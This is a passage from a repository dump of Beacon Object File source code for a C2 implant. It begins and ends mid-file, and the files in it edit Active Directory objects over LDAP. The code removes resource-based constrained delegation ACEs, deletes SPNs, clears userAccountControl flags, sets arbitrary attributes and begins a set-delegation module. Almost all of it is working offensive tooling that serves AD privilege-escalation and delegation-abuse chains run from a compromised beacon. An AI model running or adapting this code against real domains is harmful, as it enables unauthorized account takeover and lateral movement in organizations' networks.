PrintLdapError(\"Search for RBCD attribute\", result);\n        goto cleanup;\n    }\n\n    entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (!entry) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Object not found\");\n        WLDAP32$ldap_msgfree(searchResult);\n        goto cleanup;\n    }\n\n    // Get current RBCD configuration\n    values = WLDAP32$ldap_get_values_len(ld, entry, \"msDS-AllowedToActOnBehalfOfOtherIdentity\");\n    \n    if (!values || !values[0]) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] No RBCD configuration found on target\");\n        WLDAP32$ldap_msgfree(searchResult);\n        goto cleanup;\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Found existing RBCD configuration (%d bytes)\", values[0]->bv_len);\n    \n    // Allocate and copy\n    currentRbcdBerval = (BERVAL*)MSVCRT$malloc(sizeof(BERVAL));\n    if (currentRbcdBerval) {\n        currentRbcdBerval->bv_len = values[0]->bv_len;\n        currentRbcdBerval->bv_val = (char*)MSVCRT$malloc(currentRbcdBerval->bv_len);\n        if (currentRbcdBerval->bv_val) {\n            MSVCRT$memcpy(currentRbcdBerval->bv_val, values[0]->bv_val, currentRbcdBerval->bv_len);\n        }\n    }\n    \n    WLDAP32$ldap_value_free_len(values);\n    WLDAP32$ldap_msgfree(searchResult);\n    \n    // If clearing all, just delete the attribute\n    if (removeAllRbcd) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Clearing all RBCD configuration...\");\n        \n        LDAPModA rbcdMod;\n        rbcdMod.mod_op = LDAP_MOD_DELETE;\n        rbcdMod.mod_type = \"msDS-AllowedToActOnBehalfOfOtherIdentity\";\n        rbcdMod.mod_vals.modv_strvals = NULL;\n        \n        LDAPModA* mods[] = { &rbcdMod, NULL };\n        \n        result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n        \n        if (result == LDAP_SUCCESS) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] SUCCESS: All RBCD configuration removed!\");\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] The msDS-AllowedToActOnBehalfOfOtherIdentity attribute has been deleted\");\n        } else {\n            BeaconPrintf(CALLBACK_ERROR, \"\\n[-] FAILED to remove RBCD configuration\");\n            PrintLdapError(\"Delete RBCD attribute\", result);\n        }\n        \n        if (currentRbcdBerval) {\n            if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n            MSVCRT$free(currentRbcdBerval);\n        }\n        goto cleanup;\n    }\n    \n    // Parse the security descriptor to get current DACL\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Parsing current RBCD security descriptor...\");\n    PSD_INFO sdInfo = ParseSecurityDescriptor((BYTE*)currentRbcdBerval->bv_val, currentRbcdBerval->bv_len);\n    \n    if (!sdInfo) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to parse security descriptor\");\n        if (currentRbcdBerval) {\n            if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n            MSVCRT$free(currentRbcdBerval);\n        }\n        goto cleanup;\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Current RBCD DACL has %d ACE(s)\", sdInfo->DaclAceCount);\n    \n    // Find ACEs to remove\n    DWORD* acesToRemove = NULL;\n    DWORD removeCount = 0;\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Searching for matching ACEs...\");\n    \n    // First pass: count matches\n    for (DWORD i = 0; i < sdInfo->DaclAceCount; i++) {\n        if (DoesRbcdAceMatch(&sdInfo->DaclAces[i], principalSidStr, accessMask)) {\n            removeCount++;\n        }\n    }\n    \n    if (removeCount == 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] No matching ACEs found, Principal may not have RBCD configured on this target\");\n        FreeSecurityDescriptorInfo(sdInfo);\n        if (currentRbcdBerval) {\n            if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n            MSVCRT$free(currentRbcdBerval);\n        }\n        goto cleanup;\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Found %d matching ACE(s) to remove\", removeCount);\n    \n    // Allocate array for indices\n    acesToRemove = (DWORD*)MSVCRT$malloc(removeCount * sizeof(DWORD));\n    if (!acesToRemove) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Memory allocation failed\");\n        FreeSecurityDescriptorInfo(sdInfo);\n        if (currentRbcdBerval) {\n            if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n            MSVCRT$free(currentRbcdBerval);\n        }\n        goto cleanup;\n    }\n    \n    // Second pass: collect indices\n    DWORD idx = 0;\n    for (DWORD i = 0; i < sdInfo->DaclAceCount; i++) {\n        if (DoesRbcdAceMatch(&sdInfo->DaclAces[i], principalSidStr, accessMask)) {\n            acesToRemove[idx++] = i;\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Will remove ACE at index %d:\", i);\n            if (sdInfo->DaclAces[i].TrusteeSid) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"    SID: %s\", sdInfo->DaclAces[i].TrusteeSid);\n            }\n            char* maskStr = GetAccessMaskString(sdInfo->DaclAces[i].Mask);\n            BeaconPrintf(CALLBACK_OUTPUT, \"    Access: %s (0x%08x)\", maskStr, sdInfo->DaclAces[i].Mask);\n        }\n    }\n    \n    // Get old DACL from security descriptor\n    PSECURITY_DESCRIPTOR pSD = (PSECURITY_DESCRIPTOR)currentRbcdBerval->bv_val;\n    PACL pOldDacl = NULL;\n    BOOL daclPresent = FALSE;\n    BOOL daclDefaulted = FALSE;\n    \n    if (!ADVAPI32$GetSecurityDescriptorDacl(pSD, &daclPresent, &pOldDacl, &daclDefaulted)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get DACL from security descriptor\");\n        MSVCRT$free(acesToRemove);\n        FreeSecurityDescriptorInfo(sdInfo);\n        if (currentRbcdBerval) {\n            if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n            MSVCRT$free(currentRbcdBerval);\n        }\n        goto cleanup;\n    }\n    \n    // Check if we're removing all ACEs\n    if (removeCount == sdInfo->DaclAceCount) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Removing all ACEs would leave RBCD empty\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Deleting entire RBCD attribute instead\");\n        \n        LDAPModA rbcdMod;\n        rbcdMod.mod_op = LDAP_MOD_DELETE;\n        rbcdMod.mod_type = \"msDS-AllowedToActOnBehalfOfOtherIdentity\";\n        rbcdMod.mod_vals.modv_strvals = NULL;\n        \n        LDAPModA* mods[] = { &rbcdMod, NULL };\n        \n        result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n        \n        if (result == LDAP_SUCCESS) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] SUCCESS: All RBCD configuration removed!\");\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Removed principal: %s\", principalIdentifier);\n        } else {\n            BeaconPrintf(CALLBACK_ERROR, \"\\n[-] FAILED to remove RBCD configuration\");\n            PrintLdapError(\"Delete RBCD attribute\", result);\n        }\n        \n        MSVCRT$free(acesToRemove);\n        FreeSecurityDescriptorInfo(sdInfo);\n        if (currentRbcdBerval) {\n            if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n            MSVCRT$free(currentRbcdBerval);\n        }\n        goto cleanup;\n    }\n    \n    // Create new DACL without the specified ACEs\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Creating new RBCD DACL without removed ACE(s)...\");\n    PACL pNewDacl = CreateNewDaclWithoutAces(pOldDacl, acesToRemove, removeCount);\n    \n    MSVCRT$free(acesToRemove);\n    \n    if (!pNewDacl) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create new DACL\");\n        FreeSecurityDescriptorInfo(sdInfo);\n        if (currentRbcdBerval) {\n            if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n            MSVCRT$free(currentRbcdBerval);\n        }\n        goto cleanup;\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully created new RBCD DACL\");\n    \n    // Create new security descriptor with the new DACL\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Building new RBCD security descriptor...\");\n    \n    BYTE absoluteSDBuffer[SECURITY_DESCRIPTOR_MIN_LENGTH];\n    PSECURITY_DESCRIPTOR pNewSD = (PSECURITY_DESCRIPTOR)absoluteSDBuffer;\n    \n    if (!ADVAPI32$InitializeSecurityDescriptor(pNewSD, SECURITY_DESCRIPTOR_REVISION)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize new security descriptor\");\n        MSVCRT$free(pNewDacl);\n        FreeSecurityDescriptorInfo(sdInfo);\n        if (currentRbcdBerval) {\n            if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n            MSVCRT$free(currentRbcdBerval);\n        }\n        goto cleanup;\n    }\n    \n    // Copy owner and group from old SD\n    PSID pOwner = NULL;\n    BOOL ownerDefaulted = FALSE;\n    ADVAPI32$GetSecurityDescriptorOwner(pSD, &pOwner, &ownerDefaulted);\n    if (pOwner) {\n        ADVAPI32$SetSecurityDescriptorOwner(pNewSD, pOwner, ownerDefaulted);\n    }\n    \n    PSID pGroup = NULL;\n    BOOL groupDefaulted = FALSE;\n    ADVAPI32$GetSecurityDescriptorGroup(pSD, &pGroup, &groupDefaulted);\n    if (pGroup) {\n        ADVAPI32$SetSecurityDescriptorGroup(pNewSD, pGroup, groupDefaulted);\n    }\n    \n    // Set the new DACL\n    if (!ADVAPI32$SetSecurityDescriptorDacl(pNewSD, TRUE, pNewDacl, FALSE)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set new DACL in security descriptor\");\n        MSVCRT$free(pNewDacl);\n        FreeSecurityDescriptorInfo(sdInfo);\n        if (currentRbcdBerval) {\n            if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n            MSVCRT$free(currentRbcdBerval);\n        }\n        goto cleanup;\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] New RBCD security descriptor built successfully\");\n    \n    // Convert to self-relative format\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Converting to self-relative format...\");\n    BERVAL* newRbcdBerval = ConvertSecurityDescriptorToBerval(pNewSD);\n    \n    if (!newRbcdBerval) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to convert security descriptor to BERVAL\");\n        MSVCRT$free(pNewDacl);\n        FreeSecurityDescriptorInfo(sdInfo);\n        if (currentRbcdBerval) {\n            if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n            MSVCRT$free(currentRbcdBerval);\n        }\n        goto cleanup;\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Converted to self-relative format (%d bytes)\", newRbcdBerval->bv_len);\n    \n    // Write back to LDAP\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Writing modified RBCD configuration to LDAP...\");\n    \n    struct berval* modValues[] = { newRbcdBerval, NULL };\n    LDAPModA rbcdMod;\n    rbcdMod.mod_op = LDAP_MOD_REPLACE | LDAP_MOD_BVALUES;\n    rbcdMod.mod_type = \"msDS-AllowedToActOnBehalfOfOtherIdentity\";\n    rbcdMod.mod_vals.modv_bvals = modValues;\n    \n    LDAPModA* mods[] = { &rbcdMod, NULL };\n    \n    result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n    \n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] SUCCESS: RBCD principal(s) removed successfully!\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Removed: %d ACE(s)\", removeCount);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Remaining: %d ACE(s) (was %d)\", \n                    sdInfo->DaclAceCount - removeCount, sdInfo->DaclAceCount);\n        \n        // Verify\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Verifying changes...\");\n        \n        LDAPMessage* verifyResult = NULL;\n        result = WLDAP32$ldap_search_s(ld, targetDN, LDAP_SCOPE_BASE, \"(objectClass=*)\", attrs, 0, &verifyResult);\n        \n        if (result == LDAP_SUCCESS) {\n            LDAPMessage* verifyEntry = WLDAP32$ldap_first_entry(ld, verifyResult);\n            if (verifyEntry) {\n                struct berval** verifyValues = WLDAP32$ldap_get_values_len(ld, verifyEntry, \"msDS-AllowedToActOnBehalfOfOtherIdentity\");\n                if (verifyValues && verifyValues[0]) {\n                    PSD_INFO verifyInfo = ParseSecurityDescriptor((BYTE*)verifyValues[0]->bv_val, verifyValues[0]->bv_len);\n                    if (verifyInfo) {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Verification: RBCD DACL now has %d ACE(s)\", verifyInfo->DaclAceCount);\n                        \n                        DWORD expectedCount = sdInfo->DaclAceCount - removeCount;\n                        if (verifyInfo->DaclAceCount == expectedCount) {\n                            BeaconPrintf(CALLBACK_OUTPUT, \"[+] ACE count matches expected value\");\n                        } else {\n                            BeaconPrintf(CALLBACK_OUTPUT, \"[!] Warning: ACE count mismatch (expected %d, got %d)\", \n                                        expectedCount, verifyInfo->DaclAceCount);\n                        }\n                        \n                        FreeSecurityDescriptorInfo(verifyInfo);\n                    }\n                    WLDAP32$ldap_value_free_len(verifyValues);\n                }\n            }\n            WLDAP32$ldap_msgfree(verifyResult);\n        }\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"\\n[-] FAILED to remove RBCD principal(s)\");\n        PrintLdapError(\"Modify RBCD attribute\", result);\n    }\n    \n    // Cleanup\n    MSVCRT$free(pNewDacl);\n    MSVCRT$free(newRbcdBerval->bv_val);\n    MSVCRT$free(newRbcdBerval);\n    FreeSecurityDescriptorInfo(sdInfo);\n    if (currentRbcdBerval) {\n        if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n        MSVCRT$free(currentRbcdBerval);\n    }\n\ncleanup:\n    if (principalSidStr) MSVCRT$free(principalSidStr);\n    if (pPrincipalSid) MSVCRT$free(pPrincipalSid);\n    if (principalDN) MSVCRT$free(principalDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    if (targetDN) MSVCRT$free(targetDN);\n    CleanupLDAP(ld);\n    \n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/remove/remove-spn.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* spn = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!spn || MSVCRT$strlen(spn) == 0) {\n        return;\n    }\n\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) MSVCRT$strcpy(targetDN, targetIdentifier);\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    char* spn_values[] = { spn, NULL };\n    LDAPModA spn_mod;\n    spn_mod.mod_op = LDAP_MOD_DELETE;\n    spn_mod.mod_type = \"servicePrincipalName\";\n    spn_mod.mod_vals.modv_strvals = spn_values;\n\n    LDAPModA* mods[] = { &spn_mod, NULL };\n\n    ULONG result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n\n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully removed SPN '%s'\", spn);\n    } else if (result == LDAP_NO_SUCH_ATTRIBUTE) {\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to remove SPN\");\n        PrintLdapError(\"Remove SPN\", result);\n    }\n\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/remove/remove-uac.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nDECLSPEC_IMPORT long __cdecl MSVCRT$strtol(const char* str, char** endptr, int base);\n\ntypedef struct {\n    const char* name;\n    DWORD value;\n} UAC_FLAG_MAP;\n\nstatic const UAC_FLAG_MAP uacFlags[] = {\n    {\"SCRIPT\", UF_SCRIPT},\n    {\"ACCOUNTDISABLE\", UF_ACCOUNTDISABLE},\n    {\"HOMEDIR_REQUIRED\", UF_HOMEDIR_REQUIRED},\n    {\"LOCKOUT\", UF_LOCKOUT},\n    {\"PASSWD_NOTREQD\", UF_PASSWD_NOTREQD},\n    {\"PASSWD_CANT_CHANGE\", UF_PASSWD_CANT_CHANGE},\n    {\"ENCRYPTED_TEXT_PWD_ALLOWED\", UF_ENCRYPTED_TEXT_PWD_ALLOWED},\n    {\"TEMP_DUPLICATE_ACCOUNT\", UF_TEMP_DUPLICATE_ACCOUNT},\n    {\"NORMAL_ACCOUNT\", UF_NORMAL_ACCOUNT},\n    {\"INTERDOMAIN_TRUST_ACCOUNT\", UF_INTERDOMAIN_TRUST_ACCOUNT},\n    {\"WORKSTATION_TRUST_ACCOUNT\", UF_WORKSTATION_TRUST_ACCOUNT},\n    {\"SERVER_TRUST_ACCOUNT\", UF_SERVER_TRUST_ACCOUNT},\n    {\"DONT_EXPIRE_PASSWD\", UF_DONT_EXPIRE_PASSWD},\n    {\"MNS_LOGON_ACCOUNT\", UF_MNS_LOGON_ACCOUNT},\n    {\"SMARTCARD_REQUIRED\", UF_SMARTCARD_REQUIRED},\n    {\"TRUSTED_FOR_DELEGATION\", UF_TRUSTED_FOR_DELEGATION},\n    {\"NOT_DELEGATED\", UF_NOT_DELEGATED},\n    {\"USE_DES_KEY_ONLY\", UF_USE_DES_KEY_ONLY},\n    {\"DONT_REQ_PREAUTH\", UF_DONT_REQ_PREAUTH},\n    {\"PASSWORD_EXPIRED\", UF_PASSWORD_EXPIRED},\n    {\"TRUSTED_TO_AUTH_FOR_DELEGATION\", UF_TRUSTED_TO_AUTH_FOR_DELEGATION},\n    {\"NO_AUTH_DATA_REQUIRED\", UF_NO_AUTH_DATA_REQUIRED},\n    {\"PARTIAL_SECRETS_ACCOUNT\", UF_PARTIAL_SECRETS_ACCOUNT},\n    {NULL, 0}\n};\n\nDWORD ParseUACFlags(const char* flagString) {\n    if (!flagString || MSVCRT$strlen(flagString) == 0) return 0;\n    DWORD result = 0;\n    char buffer[512];\n    MSVCRT$_snprintf(buffer, sizeof(buffer), \"%s\", flagString);\n\n    char* token = buffer;\n    char* next = buffer;\n\n    while (*next) {\n        while (*next && *next != ',') next++;\n        char savedChar = *next;\n        *next = '\\0';\n\n        while (*token == ' ' || *token == '\\t') token++;\n        char* end = token + MSVCRT$strlen(token) - 1;\n        while (end > token && (*end == ' ' || *end == '\\t')) {\n            *end = '\\0';\n            end--;\n        }\n\n        if (MSVCRT$strlen(token) > 0) {\n            for (int i = 0; uacFlags[i].name != NULL; i++) {\n                if (MSVCRT$strcmp(token, uacFlags[i].name) == 0) {\n                    result |= uacFlags[i].value;\n                    break;\n                }\n            }\n        }\n\n        if (savedChar) {\n            *next = savedChar;\n            next++;\n            token = next;\n        } else {\n            break;\n        }\n    }\n    return result;\n}\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* flagsValue = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!flagsValue || MSVCRT$strlen(flagsValue) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Flags are required (e.g., DONT_REQ_PREAUTH,ACCOUNTDISABLE)\");\n        return;\n    }\n\n    DWORD flagsToRemove = ParseUACFlags(flagsValue);\n    if (flagsToRemove == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] No valid flags parsed\");\n        return;\n    }\n\n    // Safety check: warn if trying to remove account type flags\n    if (flagsToRemove & UF_ACCOUNT_TYPE_MASK) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] WARNING: Cannot remove account type flags!\");\n        BeaconPrintf(CALLBACK_ERROR, \"[!] This would corrupt the account.\");\n        return;\n    }\n\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) MSVCRT$strcpy(targetDN, targetIdentifier);\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Get current UAC value\n    LDAPMessage* searchResult = NULL;\n    char* attrs[] = { \"userAccountControl\", NULL };\n    ULONG result = WLDAP32$ldap_search_s(ld, targetDN, LDAP_SCOPE_BASE, \"(objectClass=*)\", attrs, 0, &searchResult);\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to read current UAC\");\n        MSVCRT$free(targetDN);\n        if (defaultNC) MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    DWORD currentUAC = 0;\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (entry) {\n        char** values = WLDAP32$ldap_get_values(ld, entry, \"userAccountControl\");\n        if (values && values[0]) {\n            currentUAC = (DWORD)MSVCRT$strtol(values[0], NULL, 10);\n            WLDAP32$ldap_value_free(values);\n        }\n    }\n    WLDAP32$ldap_msgfree(searchResult);\n\n    DWORD newUAC = currentUAC & ~flagsToRemove;\n\n    char uacString[32];\n    MSVCRT$_snprintf(uacString, sizeof(uacString), \"%lu\", newUAC);\n\n    char* uac_values[] = { uacString, NULL };\n    LDAPModA uac_mod;\n    uac_mod.mod_op = LDAP_MOD_REPLACE;\n    uac_mod.mod_type = \"userAccountControl\";\n    uac_mod.mod_vals.modv_strvals = uac_values;\n\n    LDAPModA* mods[] = { &uac_mod, NULL };\n\n    result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n\n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully removed UAC flags\");\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to modify UAC\");\n        PrintLdapError(\"Modify UAC\", result);\n    }\n\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/set/set-attribute.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: target_identifier, is_dn, attribute, value, search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* attribute = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* value = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!attribute || MSVCRT$strlen(attribute) == 0) {\n        return;\n    }\n\n    if (!value || MSVCRT$strlen(value) == 0) {\n        return;\n    }\n\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) MSVCRT$strcpy(targetDN, targetIdentifier);\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    char* attr_values[] = { value, NULL };\n    LDAPModA attr_mod;\n    attr_mod.mod_op = LDAP_MOD_REPLACE;\n    attr_mod.mod_type = attribute;\n    attr_mod.mod_vals.modv_strvals = attr_values;\n\n    LDAPModA* mods[] = { &attr_mod, NULL };\n\n    ULONG result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n\n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully set '%s' to '%s'\", attribute, value);\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set attribute\");\n        PrintLdapError(\"Set attribute\", result);\n    }\n\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/set/set-delegation.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: target_identifier, is_dn, spn, search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* spn = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!spn || MSVCRT$strlen(spn) == 0) {\n        return;\n    }\n\n    char* dcHostname = NULL;\n    LDAP* ld = 